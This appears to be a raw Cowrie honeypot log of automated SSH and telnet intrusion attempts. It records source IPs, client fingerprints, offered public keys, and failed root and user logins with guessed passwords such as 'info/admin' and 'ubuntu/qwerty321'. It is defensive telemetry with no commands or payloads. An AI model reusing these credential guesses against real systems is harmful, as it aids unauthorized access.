{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmWOs5/WXDwrizDe1I/RcgRTPTUPBW/XjJuarT3ve6onsv1p+D2fmUcxeSXJhkxFlNwTODH6+xVs4yondJ+5SXYfb2i1aNWpIMKkgQdkhaypb4146W69rZQyJWqSsEyq0CdsIENNJ7dshciSdf2Iw0J9EgIk4cyT0h3n74hrHbTvAaPHfFyvQYEbveFlFhcNz4sgc0jIePVPgm8g7Ze217gSHX3AdGu7egdTwRbEPChn33K2bldIHPnMv/7R7atXXskEyWLG9Ci1NeOO3YkW2K6A4IbTkVWTwAcFeO+EE3LX3Puy29LGo5X6ifCXHOpego0tO0qBMpg4sZIE/9YpgL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.687984Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.734377Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34682,"dst_ip":"10.17.0.5","dst_port":22,"session":"293523aeed4a","protocol":"ssh","message":"New connection: 103.15.226.202:34682 (10.17.0.5:22) [session: 293523aeed4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:17.463648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:17.468378Z","src_ip":"103.15.226.202","session":"293523aeed4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:17.848990Z","src_ip":"103.15.226.202","session":"293523aeed4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mtm$%889*G*S3%G","message":"login attempt [root/Mtm$%889*G*S3%G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:18.587258Z","src_ip":"103.15.226.202","session":"293523aeed4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:19.836520Z","src_ip":"103.15.226.202","session":"293523aeed4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":30500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7215df78bbd","protocol":"ssh","message":"New connection: 202.165.15.132:30500 (10.17.0.5:22) [session: a7215df78bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:29.459198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:29.463740Z","src_ip":"202.165.15.132","session":"a7215df78bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:29.708272Z","src_ip":"202.165.15.132","session":"a7215df78bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"admin","message":"login attempt [info/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:30.701201Z","src_ip":"202.165.15.132","session":"a7215df78bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:31.944386Z","src_ip":"202.165.15.132","session":"a7215df78bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6630,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a66dca2b6a4","protocol":"telnet","message":"New connection: 212.55.149.117:6630 (10.17.0.5:23) [session: 1a66dca2b6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:39.247896Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40955,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecb430bdc00","protocol":"telnet","message":"New connection: 212.55.149.117:40955 (10.17.0.5:23) [session: eecb430bdc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:45.523910Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40722,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca4e459eb0a7","protocol":"ssh","message":"New connection: 193.32.162.145:40722 (10.17.0.5:22) [session: ca4e459eb0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:55.858339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:55.863774Z","src_ip":"193.32.162.145","session":"ca4e459eb0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:55.960649Z","src_ip":"193.32.162.145","session":"ca4e459eb0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:56.261294Z","src_ip":"193.32.162.145","session":"ca4e459eb0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:57.397641Z","src_ip":"193.32.162.145","session":"ca4e459eb0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":42203,"dst_ip":"10.17.0.5","dst_port":22,"session":"229d2046afc3","protocol":"ssh","message":"New connection: 202.165.15.132:42203 (10.17.0.5:22) [session: 229d2046afc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:24.479976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:24.485483Z","src_ip":"202.165.15.132","session":"229d2046afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26996,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc70e386c2a1","protocol":"telnet","message":"New connection: 212.55.149.117:26996 (10.17.0.5:23) [session: bc70e386c2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:24.574008Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:24.730247Z","src_ip":"202.165.15.132","session":"229d2046afc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty321","message":"login attempt [ubuntu/qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:25.735210Z","src_ip":"202.165.15.132","session":"229d2046afc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:26.981959Z","src_ip":"202.165.15.132","session":"229d2046afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.57.24.111","src_port":43826,"dst_ip":"159.203.135.109","dst_port":23,"session":"5963f715e202","protocol":"telnet","message":"New connection: 186.57.24.111:43826 (159.203.135.109:23) [session: 5963f715e202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:35.028256Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.43.122","src_port":34006,"dst_ip":"10.17.0.5","dst_port":22,"session":"d838c1723955","protocol":"ssh","message":"New connection: 193.142.43.122:34006 (10.17.0.5:22) [session: d838c1723955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:41.756049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:41.760049Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:41.852111Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:b4:6b:15:36:96:b5:09:5a:e3:4c:39:47:34:9a:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95NOIPUzumcybG/ZpE1rtXU/Jlojusz/DYE6h6xtH19jF/y+dCd/xvT377rwJ9zzwNdZMC1yOGT9WcBOedNfgR0O3B993UoiQATiwgObl99SGLLpSlsBxz0nqCuuYCh0YF7w3riaoaErOOKjey0v2sH4ByPFeDaYTyiQVf+VqniFROM7GIko047TsuWOSqIdrnzuxcYl3C4cEhkKeippDewMg5pnVrkacH6Sm9+9OZgNPKGHqCPGZpPevCOuC9QyTNbhPihT9waBTZUuyJtIF5440LJvxEKQkXkI9ArdSLl+BCscrzsMUDBPFDLajFJFJfhxtwpL2oSSMf7UKz0Jh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:b4:6b:15:36:96:b5:09:5a:e3:4c:39:47:34:9a:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.289389Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:b4:6b:15:36:96:b5:09:5a:e3:4c:39:47:34:9a:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95NOIPUzumcybG/ZpE1rtXU/Jlojusz/DYE6h6xtH19jF/y+dCd/xvT377rwJ9zzwNdZMC1yOGT9WcBOedNfgR0O3B993UoiQATiwgObl99SGLLpSlsBxz0nqCuuYCh0YF7w3riaoaErOOKjey0v2sH4ByPFeDaYTyiQVf+VqniFROM7GIko047TsuWOSqIdrnzuxcYl3C4cEhkKeippDewMg5pnVrkacH6Sm9+9OZgNPKGHqCPGZpPevCOuC9QyTNbhPihT9waBTZUuyJtIF5440LJvxEKQkXkI9ArdSLl+BCscrzsMUDBPFDLajFJFJfhxtwpL2oSSMf7UKz0Jh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.293442Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:d0:ae:41:c5:41:09:2c:d8:9c:f8:78:6d:b1:e6:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVF6nV7LpNR0FVyHlkG/fWPkzIY62cWFIcWNjaHL9gjpeC5Pz7J5DqA9AvXgfIUCP4uz6XPczyq2MX8kqu5diyaf6FrF8vD2CnmkowN/0SXSTPG7wKM9jfjwHq4gsW3VMGP92BhbJ2M04fRIea/YkvEdtScRw791ERVeIb8uBQWedbpBhGW4mSqkNAPtBpj64U1hhZl1zBVydjAqZFG6gGUfwlmXrplkDh442YVc3PPnJoGg53v6feBus51MWmc0EnIU3rgKhhT0XtEHLYBWuP/GGwvynHF4xIdhuwNunRLNn5naO1l4a/hD5k/hhUfInvtQMxjd25K8iTMIvlrIcX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:d0:ae:41:c5:41:09:2c:d8:9c:f8:78:6d:b1:e6:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.385538Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:d0:ae:41:c5:41:09:2c:d8:9c:f8:78:6d:b1:e6:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVF6nV7LpNR0FVyHlkG/fWPkzIY62cWFIcWNjaHL9gjpeC5Pz7J5DqA9AvXgfIUCP4uz6XPczyq2MX8kqu5diyaf6FrF8vD2CnmkowN/0SXSTPG7wKM9jfjwHq4gsW3VMGP92BhbJ2M04fRIea/YkvEdtScRw791ERVeIb8uBQWedbpBhGW4mSqkNAPtBpj64U1hhZl1zBVydjAqZFG6gGUfwlmXrplkDh442YVc3PPnJoGg53v6feBus51MWmc0EnIU3rgKhhT0XtEHLYBWuP/GGwvynHF4xIdhuwNunRLNn5naO1l4a/hD5k/hhUfInvtQMxjd25K8iTMIvlrIcX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.390032Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:ba:27:fe:36:ff:6f:15:3b:96:05:c9:c8:ca:30:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoUMLkyG22/Owh/8ShT4gbDTAx5yXOFWnEDZA51zGmDNrjms6pfyb94qVRQCGIkAyTGSLvUMYd/1u2Eoq/v98aIdpfY1Dl+J99DdYXBMPoEPeJ2k9RHxzsl1KZ0RzlUV/VPqcECkZLYaV56P1KpdLaQ6Mx//AVg3t8gC3i2Hatteds6HvxinqXWnnYXziyewicgPRrdfOPPtetkz1dhB4FaKcSzHeeq9AAWGaHBiFTSd6WKOtnEwIUiVHTmqiLc8vSc6LOdcPEWnI4K8dPtALDeIKodit5WRMSwazPjYiOiNMJVkN3ah1C37wHFyGtUKU+lY95lB6FLzzeBm0Tq42d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:ba:27:fe:36:ff:6f:15:3b:96:05:c9:c8:ca:30:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.482080Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:ba:27:fe:36:ff:6f:15:3b:96:05:c9:c8:ca:30:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoUMLkyG22/Owh/8ShT4gbDTAx5yXOFWnEDZA51zGmDNrjms6pfyb94qVRQCGIkAyTGSLvUMYd/1u2Eoq/v98aIdpfY1Dl+J99DdYXBMPoEPeJ2k9RHxzsl1KZ0RzlUV/VPqcECkZLYaV56P1KpdLaQ6Mx//AVg3t8gC3i2Hatteds6HvxinqXWnnYXziyewicgPRrdfOPPtetkz1dhB4FaKcSzHeeq9AAWGaHBiFTSd6WKOtnEwIUiVHTmqiLc8vSc6LOdcPEWnI4K8dPtALDeIKodit5WRMSwazPjYiOiNMJVkN3ah1C37wHFyGtUKU+lY95lB6FLzzeBm0Tq42d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.485962Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:3d:d9:61:45:fa:9f:a1:32:7c:aa:1b:a4:4e:da:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPjcylf4T6d+TQm+TR8ec0iVrvI+SyYkll3d0qy/90Ly1UwUoR3JyRL8ju0aXfn2ag4rSr91O0a92Sh9Zy8HstX6sctO3kG1AU3XjHAbeeOUPhB4ie5jdZulbvhxlAnET3NluH+hHoMEUJHqx069miGMAwsXQFT/sM5LJ1hxXiwdQ/CcigBFE03n6FzYC7YbtlLbvIXOVoTpvvvolfNCqQYnM0WSw5gwju4duds4Q4fVbq/W0fe+lLofHnzxTaa+6CpL58Hc0L9PAvPmsP297Qb7hYhDiFT1aW52gbHXg6agozZC2MqwA3rxzLBCLKbQ2FKNdz+8a+iQUExeR902lF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:3d:d9:61:45:fa:9f:a1:32:7c:aa:1b:a4:4e:da:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.577635Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
